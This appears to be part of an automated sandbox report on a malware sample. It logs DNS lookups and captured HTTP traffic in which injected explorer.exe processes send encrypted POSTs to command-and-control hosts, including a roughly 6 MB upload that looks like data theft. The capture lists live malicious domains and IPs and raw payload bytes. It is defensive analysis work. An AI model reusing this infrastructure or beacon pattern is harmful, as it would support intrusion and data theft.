                                                                                                                                                              Nov 20, 2024 11:21:07.983278036 CET53563041.1.1.1192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:15.381994009 CET5616153192.168.2.81.1.1.1
                                                                                                                                                              Nov 20, 2024 11:21:16.392916918 CET5616153192.168.2.81.1.1.1
                                                                                                                                                              Nov 20, 2024 11:21:16.430022955 CET53561611.1.1.1192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:16.451826096 CET53561611.1.1.1192.168.2.8

                                                                                                                                                              DNS Queries

                                                                                                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                              Nov 20, 2024 11:20:22.462208033 CET192.168.2.81.1.1.10x21fStandard query (0)tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLcA (IP address)IN (0x0001)false
                                                                                                                                                              Nov 20, 2024 11:21:07.960136890 CET192.168.2.81.1.1.10xd412Standard query (0)quantumqube.orgA (IP address)IN (0x0001)false
                                                                                                                                                              Nov 20, 2024 11:21:15.381994009 CET192.168.2.81.1.1.10xe42aStandard query (0)innovixus.orgA (IP address)IN (0x0001)false
                                                                                                                                                              Nov 20, 2024 11:21:16.392916918 CET192.168.2.81.1.1.10xe42aStandard query (0)innovixus.orgA (IP address)IN (0x0001)false

                                                                                                                                                              DNS Answers

                                                                                                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                              Nov 20, 2024 11:20:22.472426891 CET1.1.1.1192.168.2.80x21fName error (3)tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLcnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                              Nov 20, 2024 11:21:07.983278036 CET1.1.1.1192.168.2.80xd412No error (0)quantumqube.org85.192.60.190A (IP address)IN (0x0001)false
                                                                                                                                                              Nov 20, 2024 11:21:16.430022955 CET1.1.1.1192.168.2.80xe42aNo error (0)innovixus.org150.241.91.218A (IP address)IN (0x0001)false
                                                                                                                                                              Nov 20, 2024 11:21:16.451826096 CET1.1.1.1192.168.2.80xe42aNo error (0)innovixus.org150.241.91.218A (IP address)IN (0x0001)false

                                                                                                                                                              HTTP Request Dependency Graph

                                                                                                                                                              • ccvbbbuqtiqo.org
                                                                                                                                                                • quantumqube.org
                                                                                                                                                              • shyrgpbguqjvloh.com
                                                                                                                                                                • innovixus.org

                                                                                                                                                              HTTP Packets

                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                              0192.168.2.84971285.192.60.190804084C:\Windows\explorer.exe
                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                              Nov 20, 2024 11:21:07.989625931 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                              Accept: */*
                                                                                                                                                              Referer: http://ccvbbbuqtiqo.org/
                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                              Content-Length: 152
                                                                                                                                                              Host: quantumqube.org
                                                                                                                                                              Nov 20, 2024 11:21:07.989645004 CET152OUTData Raw: 4f c3 51 0e 9b 7f 56 0f 19 00 5e a9 95 3d 28 db f1 b0 c0 d4 c0 d0 fe 65 36 05 bd 67 b0 1a bb 19 10 f8 11 45 06 5e b5 62 81 24 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 3d a5 d1 1d
                                                                                                                                                              Data Ascii: OQV^=(e6gE^b$8Mv[(Xc2]ainh{=15^+Rx&Vx"f&n+hf^Bk(Nz<cK|
                                                                                                                                                              Nov 20, 2024 11:21:08.772860050 CET525INHTTP/1.1 404 Not Found
                                                                                                                                                              Server: nginx/1.22.1
                                                                                                                                                              Date: Wed, 20 Nov 2024 10:21:08 GMT
                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                              Connection: keep-alive
                                                                                                                                                              Data Raw: 31 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 [TRUNCATED]
                                                                                                                                                              Data Ascii: 150<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0


                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                              1192.168.2.849718150.241.91.218804084C:\Windows\explorer.exe
                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                              Nov 20, 2024 11:21:16.454394102 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                              Accept: */*
                                                                                                                                                              Referer: http://shyrgpbguqjvloh.com/
                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                              Content-Length: 138
                                                                                                                                                              Host: innovixus.org
                                                                                                                                                              Nov 20, 2024 11:21:16.454427004 CET138OUTData Raw: 4f c3 51 0e 9b 7f 56 0f 19 00 5e a9 95 3d 28 db f1 b0 c0 d4 c0 d0 fe 65 36 05 bd 67 b0 1a bb 19 10 f8 11 45 06 5e b5 62 81 24 38 83 d1 4d 76 b5 5b 28 e5 bb 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 e1 1f 61 69 6e 68 7b 05 d5 0d 11 fc 0e 04 ce c7 2b
                                                                                                                                                              Data Ascii: OQV^=(e6gE^b$8Mv[(Xc2]ainh{+q)33tzl=oK8Y@U])'~4
                                                                                                                                                              Nov 20, 2024 11:21:17.156251907 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                              Server: nginx/1.22.1
                                                                                                                                                              Date: Wed, 20 Nov 2024 10:21:17 GMT
                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                              Connection: keep-alive
                                                                                                                                                              Data Raw: 31 66 37 30 0d 0a 40 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 27 d2 6c ac 11 c6 52 d1 3b 37 d7 a5 36 82 b4 8a ab 80 da 1b be 00 a0 92 05 00 03 0c a7 32 01 0b 00 00 07 00 9e 03 00 00 62 02 28 96 e9 7a 2a f4 cb 78 52 7f 40 00 50 00 77 c0 64 47 47 36 9c 8d 96 4a ed d1 9e d6 80 c4 6c 33 99 24 a7 b4 b4 35 c3 e1 cb 26 ef 22 79 42 75 08 78 08 f7 1d 9b dc 6b cb 0a ea f2 8b 19 bf 99 78 b9 82 ba ce 22 33 4f 4a a8 df 50 78 ae 76 77 2e c7 9b 5e 2d 28 67 32 da c8 c9 75 cd d4 a5 2b c1 10 eb 1d a0 33 0d 98 9e 44 f7 6b a9 c6 24 31 3d 1d f1 ea e8 ae 1d d5 84 1f af 15 26 fb 4f bb 25 b9 52 6e f5 a0 8a 0a 49 0e 48 3c 5c 38 d3 13 33 ca aa 9b 5c 35 3f 78 1b f1 19 e1 c2 70 4c e8 73 36 6b 7d d5 d3 6e a4 5e 14 85 a9 0e a1 79 e7 e2 8f d9 fc 87 1e 17 08 2a d3 a7 57 64 02 f2 1f 97 3a 75 05 d6 39 26 05 29 1b 93 de cb 73 67 b8 04 d4 23 37 bf be 0b 34 b2 74 c4 1a 80 c5 9c f5 2b 45 c2 a1 ce 66 f8 cd ce 41 e1 68 9b cb 45 74 60 87 17 b6 [TRUNCATED]
                                                                                                                                                              Data Ascii: 1f70@g@GHSN'E|6V#^.v'lR;762b(z*xR@PwdGG6Jl3$5&"yBuxkx"3OJPxvw.^-(g2u+3Dk$1=&O%RnIH<\83\5?xpLs6k}n^y*Wd:u9&)sg#74t+EfAhEt`iVzu5(b>wl?rmbJ9TJxeByyOvF"04HRH=%|\6|gg;D`}k'z7)a< `t,a+~NE:91 [t*}"?<Vs[-9\*j?l^\Gesqq=,E5T%9bH<_zjpeH`!}-uIW}Yb*Dr`-+i9z&mc7L)<zA2w@z]S~<N&]rIFvRn!zrY4OLwkk}#tYhBkqKe)!0PXA2u)}%BobsA^B5PVEyS+dLJvjlMy%[e$$$NR"b73+{l_!],NM2`~ Cri,ojn0cJAa]< Z+DEqvZ@#j [TRUNCATED]
                                                                                                                                                              Nov 20, 2024 11:21:17.156270981 CET1236INData Raw: f2 1f 68 7b ff 8c 53 3e 87 69 23 3e 4a 98 d5 35 9e 75 b0 87 46 f6 35 e4 d3 d8 5b 75 70 28 b6 cc a5 52 27 8d 2b e4 2d 87 d5 32 91 53 97 5e 47 b3 b8 82 d4 05 09 44 fc 97 d8 59 cd 1e 8e 57 92 9e 4b 41 31 11 b7 05 a1 e0 a2 79 f8 13 17 16 6f 6b 73 b7
                                                                                                                                                              Data Ascii: h{S>i#>J5uF5[up(R'+-2S^GDYWKA1yoksLcWg!#VX\p^@IIpy5D:ND87z+'G~;}&v!eo|c.@+XX8ro^u?_jb_/x.Nyg$
                                                                                                                                                              Nov 20, 2024 11:21:17.156282902 CET1236INData Raw: dc 38 cb f3 57 00 cf df 83 0b da 27 0f 47 34 fa 7f 3a ae e7 b1 a9 fc 32 71 75 fe 46 99 e9 84 85 6f 70 a5 82 79 d3 43 e3 30 75 82 36 2b 55 bc b6 35 b6 42 ab 20 b3 5c 20 d4 79 8e 73 b3 c4 07 df 40 47 cf d1 68 df c2 d7 b7 a1 2e 23 5b 76 43 a5 cf 34
                                                                                                                                                              Data Ascii: 8W'G4:2quFopyC0u6+U5B \ ys@Gh.#[vC4>uZE%U5%Yg7)>LA1bv#i$AQE=~XuN2>Q#k;r'x,c0m;MQUCL9{/du~|#.xJ%77"
                                                                                                                                                              Nov 20, 2024 11:21:17.156382084 CET672INData Raw: d6 eb ed 6d 99 13 2a dd ab b5 01 da b6 8b b7 10 b9 04 b1 85 fd e2 4c 03 8e 39 47 2a bd c4 f9 c1 bb 69 96 d7 d1 36 62 d4 52 8f 17 f2 13 63 83 18 cb bf 86 de 05 de 9f 62 23 be 37 06 cc 24 13 dc a0 d7 f7 3f ca d3 a8 56 c9 69 35 09 e4 12 dd ec 9f 48
                                                                                                                                                              Data Ascii: m*L9G*i6bRcb#7$?Vi5Hf$vMnNXR\I0iGOjmW_?&V\Kf`0W;oAt'(%nGx.?y2OaG7}G{-Ws|P}vuoiu{|0G.
                                                                                                                                                              Nov 20, 2024 11:21:17.156394958 CET1236INData Raw: 6f 93 0a 0d c3 83 90 8f 0b a1 64 60 ef 27 6b e5 57 74 51 5b d9 27 0f 25 6f cf 68 c7 17 1f 9d e5 30 5f 30 14 89 37 fc 42 42 e1 c0 79 92 61 bd 51 95 3b 7c 87 3d f7 d8 29 0d 2a 8c eb 4f b9 64 e4 1e 00 2e cf ce 75 cc 49 69 fd 30 f8 ac f2 bc b2 43 36
                                                                                                                                                              Data Ascii: od`'kWtQ['%oh0_07BByaQ;|=)*Od.uIi0C6;BxYQ1eN*D3-WviKwi-B0UoRU! cvu[{N([L"xO5#Pjsrz(4/,%]Yxceg
                                                                                                                                                              Nov 20, 2024 11:21:17.156408072 CET1236INData Raw: 93 3d 50 4c 10 86 09 09 33 3d ab df d4 07 cf ca 31 6a b6 83 ed d0 6e 68 b3 7a ba df e7 19 62 7e 10 a2 c1 a3 3a 57 41 a7 57 62 4c 06 08 80 b4 93 39 fb 4c da 38 17 98 41 02 96 84 49 2b c3 67 a0 d3 18 cb 50 9f 4f dc 6b e5 00 50 95 41 8e d3 be 07 40
                                                                                                                                                              Data Ascii: =PL3=1jnhzb~:WAWbL9L8AI+gPOkPA@IqperptoX_D7TfKpb$2OQtf_NPzK5*/ >Y:G(ZR7,P<Rj9q~e
                                                                                                                                                              Nov 20, 2024 11:21:17.156414986 CET1236INData Raw: 50 45 f4 65 07 10 69 d4 fd 85 34 fc 50 25 98 df 11 1b 09 2f e7 b5 f8 2a 92 72 86 31 a6 80 14 6d c4 17 24 fd bf 44 ec 84 ad 4c 36 17 9b 40 3a 93 44 e4 37 59 31 50 fe 3d 8a 80 71 10 4c 15 65 bb 09 97 e4 c5 83 77 5b ab f3 f5 fd 74 e2 f4 ab ec 6b 6b
                                                                                                                                                              Data Ascii: PEei4P%/*r1m$DL6@:D7Y1P=qLew[tkkKS65f"4Fh`V|M&#5]35<K?2a\CO/ke7oJ5#e`#G+<@-[Vi?T|75ZF
                                                                                                                                                              Nov 20, 2024 11:21:17.156420946 CET104INData Raw: ef 51 8b 04 ea ab 84 7f 3a 3f 07 ad f0 7c bb df 47 d7 0a 61 d2 ea 72 13 c1 4c 97 c0 34 0d 21 54 3f 2f b7 ea bb 58 d6 e5 6b 68 0e f7 c4 fe 0e e1 38 28 a1 48 a6 a2 b5 25 c4 c0 86 1b bc ad ff 14 cb f7 58 2e cb 7c 61 23 cc bb 99 a6 71 59 30 92 f7 10
                                                                                                                                                              Data Ascii: Q:?|GarL4!T?/Xkh8(H%X.|a#qY033Rag[;m
                                                                                                                                                              Nov 20, 2024 11:21:17.186922073 CET1236INData Raw: 55 0e ed b3 91 cc 36 ec 73 10 4b ea 1f d8 8a 42 fc 6a f9 22 18 03 11 5d 40 4d f8 1e 37 8f 9a 3e d3 8c 8f b4 e2 e8 10 0d 0a 31 30 30 30 0d 0a 4d d2 bb ee 9a 0a ad 70 cc 51 9e fc 48 47 b3 6d 5a b7 d5 7a df f7 5d bb fd 0f c2 f9 d1 12 7a b4 87 c3 6f
                                                                                                                                                              Data Ascii: U6sKBj"]@M7>1000MpQHGmZz]zo#mJ@pFF,j`<SWMO@xUQ|e?hLH:0xMQF>g>czWEAtHkpw-sa/Y~
                                                                                                                                                              Nov 20, 2024 11:21:17.186939955 CET1236INData Raw: fa ff a8 06 fb 94 89 8e bc 6a 3d d8 0e 81 ad 31 09 bf 7b 26 bf af 17 62 cd 30 af 1c 37 ec 19 1d ae 81 ca 9d a1 e9 1f d0 47 11 98 d0 42 dc d4 46 1f ef 25 df d0 b1 97 aa b5 b2 01 2a 25 50 9a 1a ab cb 5d 10 e7 4f 02 3d ba 5d 7a e5 bf 4e 0b 83 c5 c5
                                                                                                                                                              Data Ascii: j=1{&b07GBF%*%P]O=]zN[uM+j_I?~9tfQ~UfK`k_'/Gw>PjI^]u/BvvwHdlNGG3D!5<!-jf4?


                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                              2192.168.2.849719150.241.91.218804540C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                              Nov 20, 2024 11:21:19.989514112 CET276OUTPOST /index.php HTTP/1.1
                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                              Accept: */*
                                                                                                                                                              Referer: http://innovixus.org/
                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                              Content-Length: 501
                                                                                                                                                              Host: innovixus.org
                                                                                                                                                              Nov 20, 2024 11:21:19.989514112 CET501OUTData Raw: 4f c3 51 0e 9b 7f 56 0f 19 00 5e a9 95 3d 28 db f1 b0 c0 d4 c0 d0 fe 65 36 05 bd 67 b0 1a bb 19 10 f8 11 45 06 5e b5 62 81 24 38 cb 84 0f 33 e7 0f 05 b5 f8 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 41 1e 61 6c 6e 68 7b 05 d5 0c 11 fc 0e 26 b0 fb 0e
                                                                                                                                                              Data Ascii: OQV^=(e6gE^b$83Xc2]Aalnh{&V4jp%n cE5LgO%>e?q )VdVy0GQ4E65?nEz$Sw/"@"4xWOQ@m
                                                                                                                                                              Nov 20, 2024 11:21:20.708738089 CET525INHTTP/1.1 404 Not Found
                                                                                                                                                              Server: nginx/1.22.1
                                                                                                                                                              Date: Wed, 20 Nov 2024 10:21:20 GMT
                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                              Connection: keep-alive
                                                                                                                                                              Data Raw: 31 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 [TRUNCATED]
                                                                                                                                                              Data Ascii: 150<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0


                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                              3192.168.2.849799150.241.91.218804312C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                              Nov 20, 2024 11:21:44.953918934 CET280OUTPOST /index.php HTTP/1.1
                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                              Accept: */*
                                                                                                                                                              Referer: http://innovixus.org/
                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                              Content-Length: 6348785
                                                                                                                                                              Host: innovixus.org
                                                                                                                                                              Nov 20, 2024 11:21:44.955244064 CET11124OUTData Raw: 4f c3 51 0e 9b 7f 56 0f 19 00 5e a9 95 3d 28 db f1 b0 c0 d4 c0 d0 fe 65 36 05 bd 67 b0 1a bb 19 10 f8 11 45 06 5e b5 62 81 24 38 cb 84 0f 33 e7 0f 05 b5 f8 58 09 d3 16 c5 63 32 eb dd df 5d 9f b2 41 1e 61 61 6e 68 7b 05 d5 0c 11 fc 0e 3e a4 cd 0b
                                                                                                                                                              Data Ascii: OQV^=(e6gE^b$83Xc2]Aaanh{>U4#gekTC'U<E);ef_<wqn1N,WP1z+_0j9%"(T@0z$#/z[6Ev$s30Bo?
                                                                                                                                                              Nov 20, 2024 11:21:44.962979078 CET1236OUTData Raw: 66 94 d0 ac 88 e5 5f 55 8c f8 6c 15 ed 71 5b 7c e8 21 8f 2b c3 7e d5 25 0a ca c8 e4 8d cc 20 e7 34 d6 8e 78 a9 d1 06 5f 14 b8 88 56 0f f4 5b ea 65 99 c6 72 bf 71 d8 e0 8d 6a ab 10 68 20 7a 12 b3 64 af a1 6e 02 78 74 81 e3 c6 d2 cc be 10 dd 91 6f
                                                                                                                                                              Data Ascii: f_Ulq[|!+~% 4x_V[erqjh zdnxtol'}F:uKw8'Vq2Pdc6tYSK:kj0X~Rx8cEGV8rARM@pf>7q-7RI
                                                                                                                                                              Nov 20, 2024 11:21:44.965909004 CET2472OUTData Raw: 1b 37 7e 6f 30 11 e6 42 c0 6f e5 cf ff 7f fc 3b 8f f8 d8 25 64 83 0c c3 45 93 8e ec 6d f6 49 7e 2b fb 29 0e f6 9f 5c 4c 06 6f 13 7b c7 06 6f c1 2b ad b2 58 04 28 91 54 ed b7 c2 68 e1 b1 c8 e8 27 fd 53 3f 45 30 ed 2c 4a cd 4f 17 73 24 99 fe 84 13
                                                                                                                                                              Data Ascii: 7~o0Bo;%dEmI~+)\Lo{o+X(Th'S?E0,JOs$^?nFg1z_:Bx`1IX(%40K0tZ)%I+]2rN/_9>4=,rN/t4t##LpW"]'tT:_g^xIWaH
                                                                                                                                                              Nov 20, 2024 11:21:44.966799974 CET2472OUTData Raw: 3b 96 f3 ad ad db de 8f e2 31 51 ec 80 9f fe 10 f3 c6 ea 14 98 2f 63 52 14 79 c6 64 da 43 87 44 13 8f 02 8c 6d e9 ee c0 95 5b 8f 62 84 9f 85 de 67 e5 f4 5c 68 1a 07 18 c7 53 1a fa 4f 6b 1b b6 70 f0 5b 72 78 a4 c9 da fa 14 2e fe bd 9e 7b a3 fb a8
                                                                                                                                                              Data Ascii: ;1Q/cRydCDm[bg\hSOkp[rx.{B1}\qQB%C,>3DN~Y)h2haX{w!^ 1NC2 8 2.N4]H~^T7<u#P+*E$}
                                                                                                                                                              Nov 20, 2024 11:21:44.966938019 CET14832OUTData Raw: 81 09 cb e5 7e a2 cb 62 d5 c7 62 0d f8 a2 c5 a6 ac df 2d 97 93 3d e7 0d 52 52 0a 22 48 9c 70 f7 22 d0 72 25 30 49 ec 57 9d 34 e9 42 fe 3e ec bd 4b 83 e7 dd 2e 0f c9 04 50 44 c3 b1 03 62 bb da cd 28 ef ec 3b a5 89 9f 99 bf aa 5f 76 b6 a4 91 cc 92
                                                                                                                                                              Data Ascii: ~bb-=RR"Hp"r%0IW4B>K.PDb(;_v2zSgTEXa8igGb#rQ@#Cc)0DpK66\6&*w{3db @SKl^iNM(diI)j3[OkPd}f
                                                                                                                                                              Nov 20, 2024 11:21:44.967276096 CET1236OUTData Raw: d0 b5 c0 e0 9f c0 37 36 2f 61 93 dc 8f f4 03 dc 8e 06 72 45 c0 b8 91 b2 e1 0f ed cc 04 2e 31 70 6d 67 89 54 67 77 a9 35 44 41 82 b3 19 8a 1f 96 b2 f7 e4 2d 1d eb 09 0d ef c2 b6 9e 38 6b 28 f6 21 9d e0 24 7c c1 a5 22 23 61 99 cb 97 9c 9c 20 92 3e
                                                                                                                                                              Data Ascii: 76/arE.1pmgTgw5DA-8k(!$|"#a ><Pl8uZeV^%'M^2n/l)VHdR5jI<RW9MsudqSf`%K_.ontC06k<&j
                                                                                                                                                              Nov 20, 2024 11:21:44.972357035 CET1236OUTData Raw: 40 2d 3f cd 5e bf 5d d5 c3 8f be d3 2a 64 dd 03 4e f7 56 64 92 f7 78 f4 37 c3 1d 13 10 a9 69 a6 c1 5c cc d4 75 59 61 d8 ea 5f 97 f2 e6 f6 aa d0 ba 63 77 28 2c 0e 7a 8d 80 66 25 d5 49 24 1a 49 94 36 6f 5b a8 53 11 ce 2d b2 cf 86 f4 09 b4 8b d7 5e
                                                                                                                                                              Data Ascii: @-?^]*dNVdx7i\uYa_cw(,zf%I$I6o[S-^{e6lC`F9.-PK3F&BVo8zE9q!g9@RA,kL9D&@}r1%~rA$ChP-GtYG799XE&c{"V
                                                                                                                                                              Nov 20, 2024 11:21:44.974737883 CET1236OUTData Raw: bb c7 a8 aa cc b1 4c 2a a5 c9 fe 6e 86 57 d8 91 08 74 2f ab 77 39 24 25 d0 fa 17 3c 73 0b 5c 29 98 45 7a ac 00 75 28 1d 08 48 77 79 cc 81 ca 53 8f 19 16 1d b9 12 6a 6c 28 38 26 69 51 da d1 ba dd b5 e1 28 fc 78 fd 39 37 ad f4 1e ca b8 04 e4 f7 7b
                                                                                                                                                              Data Ascii: L*nWt/w9$%<s\)Ezu(HwySjl(8&iQ(x97{=dwiH<<E6$'{,"g'*wKWMSh}A|H?]T*d_Q[IrKt$[3']?fbVP-(mp1r
                                                                                                                                                              Nov 20, 2024 11:21:44.974884987 CET2472OUTData Raw: 91 ef 9d 82 f5 6a 6c be d1 19 fb cd 01 b5 35 b8 6e 4e 43 48 0f ac 83 19 92 3b fa 81 37 97 ae b1 d8 fd 94 24 10 dd 3c da 03 1a 97 42 06 3c 2e 8d 3f fe 4e 75 63 f9 21 5b 89 10 41 1f 76 13 28 94 3a 0c 77 1e 61 13 38 61 21 be 00 b0 01 ab 3a e7 22 e7
                                                                                                                                                              Data Ascii: jl5nNCH;7$<B<.?Nuc![Av(:wa8a!:"C4&t$"ScmMCHn)~y/9p*2=4@<G3D`gPw{^=^ePtFoyW?dc5.,CT;6
                                                                                                                                                              Nov 20, 2024 11:21:44.975739002 CET1236OUTData Raw: 94 6c cf a3 16 71 6e e9 b4 33 e0 be 24 64 c1 7d 53 a9 32 b5 d7 69 79 a7 15 7f 55 a0 3e 19 13 38 a7 03 b7 c3 4f 17 03 51 55 7c 45 f7 5e 09 ba 9d 74 38 05 a0 2d fb 2a ec e7 e9 5d b2 c1 32 8c aa 1a a5 11 65 c3 04 1b 3b 5a dc 56 4e a8 91 47 de 74 f7
                                                                                                                                                              Data Ascii: lqn3$d}S2iyU>8OQU|E^t8-*]2e;ZVNGt/$+8e"440jE5.Id7.=gk |c6<D7wFsrrKTvcIfR"Uoov(o=\(w"o=Y$w1TB{ C6G
                                                                                                                                                              Nov 20, 2024 11:21:45.610449076 CET348INHTTP/1.1 413 Request Entity Too Large
                                                                                                                                                              Server: nginx/1.22.1
                                                                                                                                                              Date: Wed, 20 Nov 2024 10:21:45 GMT
                                                                                                                                                              Content-Type: text/html
                                                                                                                                                              Content-Length: 183
                                                                                                                                                              Connection: close
                                                                                                                                                              Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                              Data Ascii: <html><head><title>413 Request Entity Too Large</title></head><body><center><h1>413 Request Entity Too Large</h1></center><hr><center>nginx/1.22.1</center></body></html>


                                                                                                                                                              Statistics

                                                                                                                                                              CPU Usage

                                                                                                                                                              Click to jump to process

                                                                                                                                                              Memory Usage

                                                                                                                                                              Click to jump to process

                                                                                                                                                              High Level Behavior Distribution

                                                                                                                                                              Click to dive into process behavior distribution

                                                                                                                                                              Behavior

                                                                                                                                                              Click to jump to process

                                                                                                                                                              System Behavior

                                                                                                                                                              General

                                                                                                                                                              Target ID:0
                                                                                                                                                              Start time:05:20:16
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Users\user\Desktop\file.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:"C:\Users\user\Desktop\file.exe"
                                                                                                                                                              Imagebase:0x400000
